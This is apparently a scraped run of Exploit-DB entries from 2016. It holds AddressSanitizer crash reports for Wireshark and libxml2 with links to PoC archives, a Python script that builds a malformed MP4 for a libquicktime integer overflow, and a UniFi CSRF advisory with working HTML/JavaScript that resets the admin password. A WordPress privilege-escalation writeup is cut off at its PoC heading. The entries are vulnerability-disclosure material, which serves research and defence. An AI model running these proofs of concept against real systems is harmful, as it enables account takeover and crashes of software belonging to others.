Wireshark - vwr_read_s2_s3_W_rec Heap-Based Buffer Overflow

https://www.exploit-db.com/exploits/39490/

Source: https://code.google.com/p/google-security-research/issues/detail?id=647

 

The following crash due to a heap-based buffer overflow can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

 

--- cut ---

==5869==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001e95c at pc 0x0000004c1386 bp 0x7fff8c82cbf0 sp 0x7fff8c82c3a0

WRITE of size 1425 at 0x61b00001e95c thread T0

    #0 0x4c1385 in __asan_memcpy llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393

    #1 0x9c8ab0 in vwr_read_s2_s3_W_rec wireshark/wiretap/vwr.c:1614:5

    #2 0x9bc02a in vwr_process_rec_data wireshark/wiretap/vwr.c:2336:20

    #3 0x9babf2 in vwr_read wireshark/wiretap/vwr.c:653:10

    #4 0x9d64c2 in wtap_read wireshark/wiretap/wtap.c:1314:7

    #5 0x535c1a in load_cap_file wireshark/tshark.c:3479:12

    #6 0x52c1df in main wireshark/tshark.c:2197:13

 

0x61b00001e95c is located 0 bytes to the right of 1500-byte region [0x61b00001e380,0x61b00001e95c)

allocated by thread T0 here:

    #0 0x4d6ff8 in __interceptor_malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40

    #1 0x7f1f907a8610 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e610)

    #2 0x83fff6 in wtap_open_offline wireshark/wiretap/file_access.c:1105:2

    #3 0x53214d in cf_open wireshark/tshark.c:4195:9

    #4 0x52bc7e in main wireshark/tshark.c:2188:9

 

SUMMARY: AddressSanitizer: heap-buffer-overflow llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393 in __asan_memcpy

Shadow bytes around the buggy address:

  0x0c367fffbcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c367fffbce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c367fffbcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c367fffbd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c367fffbd10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

=>0x0c367fffbd20: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa

  0x0c367fffbd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c367fffbd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c367fffbd50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c367fffbd60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c367fffbd70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00

  Partially addressable: 01 02 03 04 05 06 07

  Heap left redzone:       fa

  Heap right redzone:      fb

  Freed heap region:       fd

  Stack left redzone:      f1

  Stack mid redzone:       f2

  Stack right redzone:     f3

  Stack partial redzone:   f4

  Stack after return:      f5

  Stack use after scope:   f8

  Global redzone:          f9

  Global init order:       f6

  Poisoned by user:        f7

  Container overflow:      fc

  Array cookie:            ac

  Intra object redzone:    bb

  ASan internal:           fe

  Left alloca redzone:     ca

  Right alloca redzone:    cb

==5869==ABORTING

--- cut ---

 

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11795. Attached are three files which trigger the crash.

 

 

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39490.zip

libxml2 - xmlDictAddString Heap-Based Buffer Overread

https://www.exploit-db.com/exploits/39491/

Source: https://code.google.com/p/google-security-research/issues/detail?id=637

 

The following crash due to a heap-based out-of-bounds memory read can be observed in an ASAN build of latest stable libxml2 (2.9.3, released 4 days ago), by feeding a malformed file to xmllint ("$ ./xmllint --html /path/to/file"):

 

--- cut ---

==25920==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000010810 at pc 0x0000004a2f25 bp 0x7ffc81805ae0 sp 0x7ffc81805290

READ of size 73661 at 0x631000010810 thread T0

    #0 0x4a2f24 in __asan_memcpy llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393

    #1 0xd026b2 in xmlDictAddString libxml2-2.9.3/dict.c:285:5

    #2 0xd009e8 in xmlDictLookup libxml2-2.9.3/dict.c:926:11

    #3 0x806e4d in htmlParseNameComplex libxml2-2.9.3/HTMLparser.c:2517:12

    #4 0x7cc29d in htmlParseName libxml2-2.9.3/HTMLparser.c:2483:12

    #5 0x7ca6f1 in htmlParseEntityRef libxml2-2.9.3/HTMLparser.c:2682:16

    #6 0x820a0d in htmlParseReference libxml2-2.9.3/HTMLparser.c:4044:8

    #7 0x7df716 in htmlParseContentInternal libxml2-2.9.3/HTMLparser.c:4619:3

    #8 0x7e2f0f in htmlParseDocument libxml2-2.9.3/HTMLparser.c:4769:5

    #9 0x802c55 in htmlDoRead libxml2-2.9.3/HTMLparser.c:6741:5

    #10 0x8030b6 in htmlReadFile libxml2-2.9.3/HTMLparser.c:6799:13

    #11 0x4f47a5 in parseAndPrintFile libxml2-2.9.3/xmllint.c:2248:8

    #12 0x4ebe8f in main libxml2-2.9.3/xmllint.c:3759:7

 

0x631000010810 is located 0 bytes to the right of 65552-byte region [0x631000000800,0x631000010810)

allocated by thread T0 here:

    #0 0x4b8ef0 in realloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:61

    #1 0xa079a5 in xmlBufGrowInternal libxml2-2.9.3/buf.c:486:23

    #2 0xa06722 in xmlBufGrow libxml2-2.9.3/buf.c:515:11

    #3 0x72fef4 in xmlParserInputBufferGrow libxml2-2.9.3/xmlIO.c:3326:9

    #4 0x543b22 in xmlParserInputGrow libxml2-2.9.3/parserInternals.c:320:8

    #5 0x8067f4 in htmlParseNameComplex libxml2-2.9.3/HTMLparser.c:2511:6

    #6 0x7cc29d in htmlParseName libxml2-2.9.3/HTMLparser.c:2483:12

    #7 0x7ca6f1 in htmlParseEntityRef libxml2-2.9.3/HTMLparser.c:2682:16

    #8 0x820a0d in htmlParseReference libxml2-2.9.3/HTMLparser.c:4044:8

    #9 0x7df716 in htmlParseContentInternal libxml2-2.9.3/HTMLparser.c:4619:3

    #10 0x7e2f0f in htmlParseDocument libxml2-2.9.3/HTMLparser.c:4769:5

    #11 0x802c55 in htmlDoRead libxml2-2.9.3/HTMLparser.c:6741:5

    #12 0x8030b6 in htmlReadFile libxml2-2.9.3/HTMLparser.c:6799:13

    #13 0x4f47a5 in parseAndPrintFile libxml2-2.9.3/xmllint.c:2248:8

    #14 0x4ebe8f in main libxml2-2.9.3/xmllint.c:3759:7

 

SUMMARY: AddressSanitizer: heap-buffer-overflow llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393 in __asan_memcpy

Shadow bytes around the buggy address:

  0x0c627fffa0b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c627fffa0c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c627fffa0d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c627fffa0e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c627fffa0f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

=>0x0c627fffa100: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c627fffa110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c627fffa120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c627fffa130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c627fffa140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c627fffa150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00

  Partially addressable: 01 02 03 04 05 06 07

  Heap left redzone:       fa

  Heap right redzone:      fb

  Freed heap region:       fd

  Stack left redzone:      f1

  Stack mid redzone:       f2

  Stack right redzone:     f3

  Stack partial redzone:   f4

  Stack after return:      f5

  Stack use after scope:   f8

  Global redzone:          f9

  Global init order:       f6

  Poisoned by user:        f7

  Container overflow:      fc

  Array cookie:            ac

  Intra object redzone:    bb

  ASan internal:           fe

  Left alloca redzone:     ca

  Right alloca redzone:    cb

==25920==ABORTING

--- cut ---

 

The crash was reported at https://bugzilla.gnome.org/show_bug.cgi?id=758605. Attached is an XML file which triggers the crash.

 

 

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39491.zip

libxml2 - xmlParseEndTag2 Heap-Based Buffer Overread

https://www.exploit-db.com/exploits/39492/

Source: https://code.google.com/p/google-security-research/issues/detail?id=638

 

The following crash due to a heap-based out-of-bounds memory read can be observed in an ASAN build of latest stable libxml2 (2.9.3, released 4 days ago), by feeding a malformed file to xmllint ("$ ./xmllint /path/to/file"):

 

--- cut ---

==4588==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6290000049e6 at pc 0x00000062b643 bp 0x7ffffa00f570 sp 0x7ffffa00f568

READ of size 1 at 0x6290000049e6 thread T0

    #0 0x62b642 in xmlParseEndTag2 libxml2-2.9.3/parser.c:9828:13

    #1 0x61d620 in xmlParseElement libxml2-2.9.3/parser.c:10238:2

    #2 0x618dac in xmlParseContent libxml2-2.9.3/parser.c:10042:6

    #3 0x61cc7c in xmlParseElement libxml2-2.9.3/parser.c:10215:5

    #4 0x618dac in xmlParseContent libxml2-2.9.3/parser.c:10042:6

    #5 0x61cc7c in xmlParseElement libxml2-2.9.3/parser.c:10215:5

    #6 0x63be9b in xmlParseDocument libxml2-2.9.3/parser.c:10912:2

    #7 0x672b74 in xmlDoRead libxml2-2.9.3/parser.c:15390:5

    #8 0x673041 in xmlReadFile libxml2-2.9.3/parser.c:15452:13

    #9 0x4f5b60 in parseAndPrintFile libxml2-2.9.3/xmllint.c:2401:9

    #10 0x4ebe8f in main libxml2-2.9.3/xmllint.c:3759:7

 

0x6290000049e6 is located 2018 bytes to the right of 16388-byte region [0x629000000200,0x629000004204)

allocated by thread T0 here:

    #0 0x4b8ef0 in realloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:61

    #1 0xa079a5 in xmlBufGrowInternal libxml2-2.9.3/buf.c:486:23

    #2 0xa06722 in xmlBufGrow libxml2-2.9.3/buf.c:515:11

    #3 0x72fef4 in xmlParserInputBufferGrow libxml2-2.9.3/xmlIO.c:3326:9

    #4 0x543b22 in xmlParserInputGrow libxml2-2.9.3/parserInternals.c:320:8

    #5 0x569d10 in xmlGROW libxml2-2.9.3/parser.c:2081:5

    #6 0x68208d in xmlParseNCNameComplex libxml2-2.9.3/parser.c:3499:6

    #7 0x68136d in xmlParseNCName libxml2-2.9.3/parser.c:3591:12

    #8 0x67d282 in xmlParseQName libxml2-2.9.3/parser.c:8859:9

    #9 0x61f04d in xmlParseStartTag2 libxml2-2.9.3/parser.c:9381:17

    #10 0x61a626 in xmlParseElement libxml2-2.9.3/parser.c:10129:16

    #11 0x618dac in xmlParseContent libxml2-2.9.3/parser.c:10042:6

    #12 0x61cc7c in xmlParseElement libxml2-2.9.3/parser.c:10215:5

    #13 0x618dac in xmlParseContent libxml2-2.9.3/parser.c:10042:6

    #14 0x61cc7c in xmlParseElement libxml2-2.9.3/parser.c:10215:5

    #15 0x63be9b in xmlParseDocument libxml2-2.9.3/parser.c:10912:2

    #16 0x672b74 in xmlDoRead libxml2-2.9.3/parser.c:15390:5

    #17 0x673041 in xmlReadFile libxml2-2.9.3/parser.c:15452:13

    #18 0x4f5b60 in parseAndPrintFile libxml2-2.9.3/xmllint.c:2401:9

    #19 0x4ebe8f in main libxml2-2.9.3/xmllint.c:3759:7

 

SUMMARY: AddressSanitizer: heap-buffer-overflow libxml2-2.9.3/parser.c:9828:13 in xmlParseEndTag2

Shadow bytes around the buggy address:

  0x0c527fff88e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff88f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

=>0x0c527fff8930: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa

  0x0c527fff8940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8960: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00

  Partially addressable: 01 02 03 04 05 06 07

  Heap left redzone:       fa

  Heap right redzone:      fb

  Freed heap region:       fd

  Stack left redzone:      f1

  Stack mid redzone:       f2

  Stack right redzone:     f3

  Stack partial redzone:   f4

  Stack after return:      f5

  Stack use after scope:   f8

  Global redzone:          f9

  Global init order:       f6

  Poisoned by user:        f7

  Container overflow:      fc

  Array cookie:            ac

  Intra object redzone:    bb

  ASan internal:           fe

  Left alloca redzone:     ca

  Right alloca redzone:    cb

==4588==ABORTING

--- cut ---

 

The crash was reported at https://bugzilla.gnome.org/show_bug.cgi?id=758589. Attached is an XML file which triggers the crash.

 

 

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39492.zip

libxml2 - xmlParserPrintFileContextInternal Heap-Based Buffer Overread

https://www.exploit-db.com/exploits/39493/

Source: https://code.google.com/p/google-security-research/issues/detail?id=639

 

The following crash due to a heap-based out-of-bounds memory read can be observed in an ASAN build of latest stable libxml2 (2.9.3, released 4 days ago), by feeding a malformed file to xmllint ("$ ./xmllint /path/to/file"):

 

--- cut ---

==4210==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6290000051ff at pc 0x000000533c8f bp 0x7ffdb38c4830 sp 0x7ffdb38c4828

READ of size 1 at 0x6290000051ff thread T0

    #0 0x533c8e in xmlParserPrintFileContextInternal libxml2-2.9.3/error.c:192:6

    #1 0x54088a in xmlReportError libxml2-2.9.3/error.c:406:9

    #2 0x53884f in __xmlRaiseError libxml2-2.9.3/error.c:633:2

    #3 0x56f0ec in xmlFatalErr libxml2-2.9.3/parser.c:540:5

    #4 0x569c98 in xmlGROW libxml2-2.9.3/parser.c:2077:9

    #5 0x62bcb3 in xmlParseEndTag2 libxml2-2.9.3/parser.c:9846:5

    #6 0x61d620 in xmlParseElement libxml2-2.9.3/parser.c:10238:2

    #7 0x63be9b in xmlParseDocument libxml2-2.9.3/parser.c:10912:2

    #8 0x672b74 in xmlDoRead libxml2-2.9.3/parser.c:15390:5

    #9 0x673041 in xmlReadFile libxml2-2.9.3/parser.c:15452:13

    #10 0x4f5b60 in parseAndPrintFile libxml2-2.9.3/xmllint.c:2401:9

    #11 0x4ebe8f in main libxml2-2.9.3/xmllint.c:3759:7

 

0x6290000051ff is located 1 bytes to the left of 16384-byte region [0x629000005200,0x629000009200)

allocated by thread T0 here:

    #0 0x4b8b68 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40

    #1 0x7f4df5219729  (/lib/x86_64-linux-gnu/libz.so.1+0xf729)

 

SUMMARY: AddressSanitizer: heap-buffer-overflow libxml2-2.9.3/error.c:192:6 in xmlParserPrintFileContextInternal

Shadow bytes around the buggy address:

  0x0c527fff89e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c527fff8a20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

=>0x0c527fff8a30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]

  0x0c527fff8a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c527fff8a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c527fff8a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c527fff8a70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c527fff8a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00

  Partially addressable: 01 02 03 04 05 06 07

  Heap left redzone:       fa

  Heap right redzone:      fb

  Freed heap region:       fd

  Stack left redzone:      f1

  Stack mid redzone:       f2

  Stack right redzone:     f3

  Stack partial redzone:   f4

  Stack after return:      f5

  Stack use after scope:   f8

  Global redzone:          f9

  Global init order:       f6

  Poisoned by user:        f7

  Container overflow:      fc

  Array cookie:            ac

  Intra object redzone:    bb

  ASan internal:           fe

  Left alloca redzone:     ca

  Right alloca redzone:    cb

==4210==ABORTING

--- cut ---

 

The crash was reported at https://bugzilla.gnome.org/show_bug.cgi?id=758588. Attached is an XML file which triggers the crash.

 

 

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39493.zip

libxml2 - htmlCurrentChar Heap-Based Buffer Overread

https://www.exploit-db.com/exploits/39494/

Source: https://code.google.com/p/google-security-research/issues/detail?id=636

 

The following crash due to a heap-based out-of-bounds memory read can be observed in an ASAN build of latest stable libxml2 (2.9.3, released 4 days ago), by feeding a malformed file to xmllint ("$ ./xmllint --html /path/to/file"):

 

--- cut ---

==26202==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001c900 at pc 0x0000008073f9 bp 0x7ffd791c7f90 sp 0x7ffd791c7f88

READ of size 1 at 0x62100001c900 thread T0

    #0 0x8073f8 in htmlCurrentChar libxml2-2.9.3/HTMLparser.c:439:6

    #1 0x80ee62 in htmlParseCharDataInternal libxml2-2.9.3/HTMLparser.c:3011:8

    #2 0x821b85 in htmlParseCharData libxml2-2.9.3/HTMLparser.c:3061:5

    #3 0x7df875 in htmlParseContentInternal libxml2-2.9.3/HTMLparser.c:4634:3

    #4 0x7e2f0f in htmlParseDocument libxml2-2.9.3/HTMLparser.c:4769:5

    #5 0x802c55 in htmlDoRead libxml2-2.9.3/HTMLparser.c:6741:5

    #6 0x8030b6 in htmlReadFile libxml2-2.9.3/HTMLparser.c:6799:13

    #7 0x4f47a5 in parseAndPrintFile libxml2-2.9.3/xmllint.c:2248:8

    #8 0x4ebe8f in main libxml2-2.9.3/xmllint.c:3759:7

 

0x62100001c900 is located 0 bytes to the right of 4096-byte region [0x62100001b900,0x62100001c900)

allocated by thread T0 here:

    #0 0x4b8b68 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40

    #1 0xa01a0c in xmlBufCreate libxml2-2.9.3/buf.c:137:32

    #2 0x550aca in xmlSwitchInputEncodingInt libxml2-2.9.3/parserInternals.c:1205:34

    #3 0x54f5ce in xmlSwitchToEncodingInt libxml2-2.9.3/parserInternals.c:1281:12

    #4 0x54f278 in xmlSwitchEncoding libxml2-2.9.3/parserInternals.c:1101:11

    #5 0x808eea in htmlCurrentChar libxml2-2.9.3/HTMLparser.c:518:13

    #6 0x804a38 in htmlParseNameComplex libxml2-2.9.3/HTMLparser.c:2496:9

    #7 0x7cc29d in htmlParseName libxml2-2.9.3/HTMLparser.c:2483:12

    #8 0x7ec211 in htmlParseDocTypeDecl libxml2-2.9.3/HTMLparser.c:3424:12

    #9 0x7debf4 in htmlParseContentInternal libxml2-2.9.3/HTMLparser.c:4585:3

    #10 0x7e2f0f in htmlParseDocument libxml2-2.9.3/HTMLparser.c:4769:5

    #11 0x802c55 in htmlDoRead libxml2-2.9.3/HTMLparser.c:6741:5

    #12 0x8030b6 in htmlReadFile libxml2-2.9.3/HTMLparser.c:6799:13

    #13 0x4f47a5 in parseAndPrintFile libxml2-2.9.3/xmllint.c:2248:8

    #14 0x4ebe8f in main libxml2-2.9.3/xmllint.c:3759:7

 

SUMMARY: AddressSanitizer: heap-buffer-overflow libxml2-2.9.3/HTMLparser.c:439:6 in htmlCurrentChar

Shadow bytes around the buggy address:

  0x0c427fffb8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c427fffb8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c427fffb8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c427fffb900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0c427fffb910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

=>0x0c427fffb920:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c427fffb930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c427fffb940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c427fffb950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c427fffb960: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c427fffb970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00

  Partially addressable: 01 02 03 04 05 06 07

  Heap left redzone:       fa

  Heap right redzone:      fb

  Freed heap region:       fd

  Stack left redzone:      f1

  Stack mid redzone:       f2

  Stack right redzone:     f3

  Stack partial redzone:   f4

  Stack after return:      f5

  Stack use after scope:   f8

  Global redzone:          f9

  Global init order:       f6

  Poisoned by user:        f7

  Container overflow:      fc

  Array cookie:            ac

  Intra object redzone:    bb

  ASan internal:           fe

  Left alloca redzone:     ca

  Right alloca redzone:    cb

==26202==ABORTING

--- cut ---

 

The crash was reported at https://bugzilla.gnome.org/show_bug.cgi?id=758606. Attached is an XML file which triggers the crash.

 

 

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39494.zip

libquicktime 1.2.4 - Integer Overflow

#!/usr/bin/env python

#

###

# - 7 February 2016 -

# My last bug hunting session (*for fun and no-profit*)

# has been dedicated to libquicktime

###

#

# Author: Marco Romano - @nemux_ http://www.nemux.org

# libquicktime 1.2.4 Integer Overflow

#

# Product Page: http://libquicktime.sourceforge.net/

# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow

# Affected products: All products using libquicktime version <= 1.2.4

#

# CVE-ID: CVE-2016-2399

#

# Disclosure part: http://www.nemux.org

#

########

####### Timeline

#

# 07 Feb 2016 Bug discovered

# 17 Feb 2016 Mitre.org contacted

# 17 Feb 2016 Disclosed to the project's maintainer

# 23 Feb 2016 No response from the maintainer

# 23 Feb 2016 Publicly disclosed

#

########

####### References

#

# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399

# http://libquicktime.sourceforge.net/

# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html

# https://en.wikipedia.org/wiki/QuickTime\_File\_Format

#

#######

#

# DISCLAIMER: It's just a PoC... it will crash something

#

####

import sys

import struct

import binascii

 

"""

There needs to be an mp4 file with these nested atoms to trigger the bug:

moov -> trak -> mdia -> hdlr

"""

hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1"

             "6D6F6F76"               #### moov atom

             "0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000"

             "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000"

             "00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175"

             "7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"

             "0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000"

             "00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000"

             "000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF"

             "616C626D000000000000FEFF0000010000000E79727263000000000000000002E4"

             "7472616B"               #### trak atom

             "0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000"

             "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"

             "6D646961"               #### mdia atom

             "000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"

             "4E"                     #### hdlr atom length

             "68646C72"               #### hdlr atom

             "0000000000"

             "4141414141414141"       #### our airstrip :)

             "0000000000000000000000"

             "EC"                     #### 236 > 127 <-- overflow here and a change in signedness too

             "616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")

 

hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))

 

def createPoC():

    try:

        with open("./nemux.mp4","wb") as output:

            output.write(hax0r_mp4)

        print "[*] The PoC is done!"

    except Exception,e:

        print str(e)

        print "[*] mmmm!"

 

def usage():

    print "\nUsage? Run it -> " + sys.argv[0]

    print "this poc creates an mp4 file named nemux.mp4"

    print "--------------------------------------------"

    print "This dummy help? " + sys.argv[0] + " help\n"

    sys.exit()

 

if __name__ == "__main__":

    try:

        if len(sys.argv) == 2:

            usage()

        else:

            print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"

            print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";

            createPoC();

    except Exception,e:

        print str(e)

        print "Ok... Something went wrong..."

        sys.exit()

Ubiquiti Networks UniFi 3.2.10 - CSRF Vulnerability

https://www.exploit-db.com/exploits/39488/

RCE Security Advisory

https://www.rcesecurity.com

  

  

1. ADVISORY INFORMATION

-----------------------

Product:        Ubiquiti Networks UniFi

Vendor URL:     www.ubnt.com

Type:           Cross-Site Request Forgery [CWE-353]

Date found:     2015-03-19

Date published: 2016-02-23

CVSSv3 Score:   6.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)

CVE:            -

  

  

2. CREDITS

----------

This vulnerability was discovered and researched by Julien Ahrens from

RCE Security.

  

  

3. VERSIONS AFFECTED

--------------------

UniFi v3.2.10

older versions may be affected too.

 

 

4. INTRODUCTION

---------------

The UniFi® Controller software is a powerful, enterprise wireless software

engine ideal for high-density client deployments requiring low latency and

high uptime performance. A single UniFi Controller running in the cloud

can manage multiple sites: multiple, distributed deployments and

multi-tenancy for managed service providers.

 

(from the vendor's homepage)

  

  

5. VULNERABILITY DESCRIPTION

----------------------------

A generic Cross-Site Request Forgery protection bypass vulnerability was

identified in UniFi v3.2.10 and prior.

  

The application uses a CSRF protection, which is based on verifying the

Referer header, but does not catch the case where the Referer header

is completely missing.

  

This leads to a generic CSRF protection bypass, resulting in all

application specific functionalities becoming vulnerable. An attacker needs

to trick the victim to visit an arbitrary website in order to exploit the

vulnerability. Successful exploits can allow the attacker to compromise the

whole application including connected devices, e.g. by changing passwords

of users, adding new users, changing device usernames and passwords or by

creating new WLAN configurations.

  

  

6. PROOF-OF-CONCEPT

-------------------

The following PoC changes the password of the user "admin" to "csrfpwd":

 

<html>

<head>

<script>

function load() {

    var postdata = '<form id=csrf method=POST enctype=\'text\/plain\' action=\'https://127.0.0.1:8443/api/s/default/cmd/sitemgr\'>' +

                    '<input type=hidden name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40mail.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\' value=\'\' />' +

                    '</form>';

    top.frames[0].document.body.innerHTML=postdata;

    top.frames[0].document.getElementById('csrf').submit();

}

</script>

</head>

<body onload="load()">

<iframe src="about:blank" id="noreferer">< /iframe>

</body>

</html>

  

  

7. SOLUTION

-----------

Upgrade to UniFi v4.7.5 or later

  

  

8. REPORT TIMELINE

------------------

2015-03-19: Discovery of the vulnerability

2015-03-10: Reported via Ubiquiti's Bug Bounty program (hackerone.com)

2015-06-02: Vendor apologizes his backlog

2015-09-28: Asking for status update via HackerOne

2015-09-28: Vendor asks to test against version 4.7.5

2015-10-02: Verified working fix for v4.7.5

2015-10-23: Vendor changes status to "Resolved"

2015-11-24: Asking for coordinated disclosure via email

2015-12-08: No response from vendor

2015-12-08: Requested public disclosure on HackerOne

2016-01-08: Report is published automatically

2016-02-23: Advisory released

  

  

9. REFERENCES

-------------

https://www.rcesecurity.com/2016/02/ubiquiti-bug-bounty-unifi-v3-2-10-generic-csrf-protection-bypass

https://hackerone.com/reports/52635

WordPress Extra User Details Plugin 0.4.2 - Privilege Escalation

https://www.exploit-db.com/exploits/39489/

"""

* Exploit Title: Extra User Details [Privilege Escalation]

* Discovery Date: 2016-02-13

* Exploit Author: Panagiotis Vagenas

* Author Link: https://twitter.com/panVagenas

* Vendor Homepage: http://vadimk.com/

* Software Link: https://wordpress.org/plugins/extra-user-details/

* Version: 0.4.2

* Tested on: WordPress 4.4.2

* Category: WebApps, WordPress

 

 

Description

-----------

 

_Extra User Details_ plugin for WordPress suffers from a Privilege

Escalation

vulnerability.

 

The plugin hooks the `eud_update_ExtraFields` function to `profile_update`

WordPress action. This function doesn't properly check user capabilities

and

updates all meta information passed to post data. The only condition is

that

the post variable name has the `eud` prefix which is striped before

updating

the values in DB.

 

An attacker can exploit this misbehavior to update the

{prefix}\_capabilities

 meta information to gain administrative privileges.

 

PoC

---

 

